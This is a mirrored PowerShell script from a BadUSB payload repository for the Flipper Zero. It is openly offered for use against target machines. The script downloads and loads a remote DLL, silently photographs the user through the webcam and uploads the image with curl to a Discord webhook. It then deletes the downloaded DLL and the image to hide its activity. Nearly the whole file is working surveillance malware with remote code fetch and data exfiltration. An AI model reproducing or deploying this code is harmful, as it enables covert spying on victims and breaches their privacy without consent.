mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2026-01-05 01:07:15 -08:00
28 lines
967 B
PowerShell
28 lines
967 B
PowerShell
<#========================== WEBCAM TO DISCORD =============================
|
|
|
|
SYNOPSIS
|
|
download a webcam.dll file, find a webcam cand take a picture then send it to discord.
|
|
|
|
#>
|
|
|
|
$hookurl = "$dc"
|
|
if ($hookurl.Ln -lt 120){$hookurl = (irm $hookurl).url}
|
|
$dllPath = Join-Path -Path $env:TEMP -ChildPath "webcam.dll"
|
|
if (-not (Test-Path $dllPath)) {
|
|
$url = "https://github.com/beigeworm/assets/raw/main/webcam.dll"
|
|
$webClient = New-Object System.Net.WebClient
|
|
$webClient.DownloadFile($url, $dllPath)
|
|
}
|
|
Add-Type -Path $dllPath
|
|
[Webcam.webcam]::init()
|
|
[Webcam.webcam]::select(1)
|
|
$imageBytes = [Webcam.webcam]::GetImage()
|
|
$tempDir = [System.IO.Path]::GetTempPath()
|
|
$imagePath = Join-Path -Path $tempDir -ChildPath "webcam_image.jpg"
|
|
[System.IO.File]::WriteAllBytes($imagePath, $imageBytes)
|
|
sleep 1
|
|
curl.exe -F "file1=@$imagePath" $hookurl | Out-Null
|
|
sleep 1
|
|
Remove-Item -Path "$env:TEMP\webcam.dll"
|
|
Remove-Item -Path $imagePath -Force
|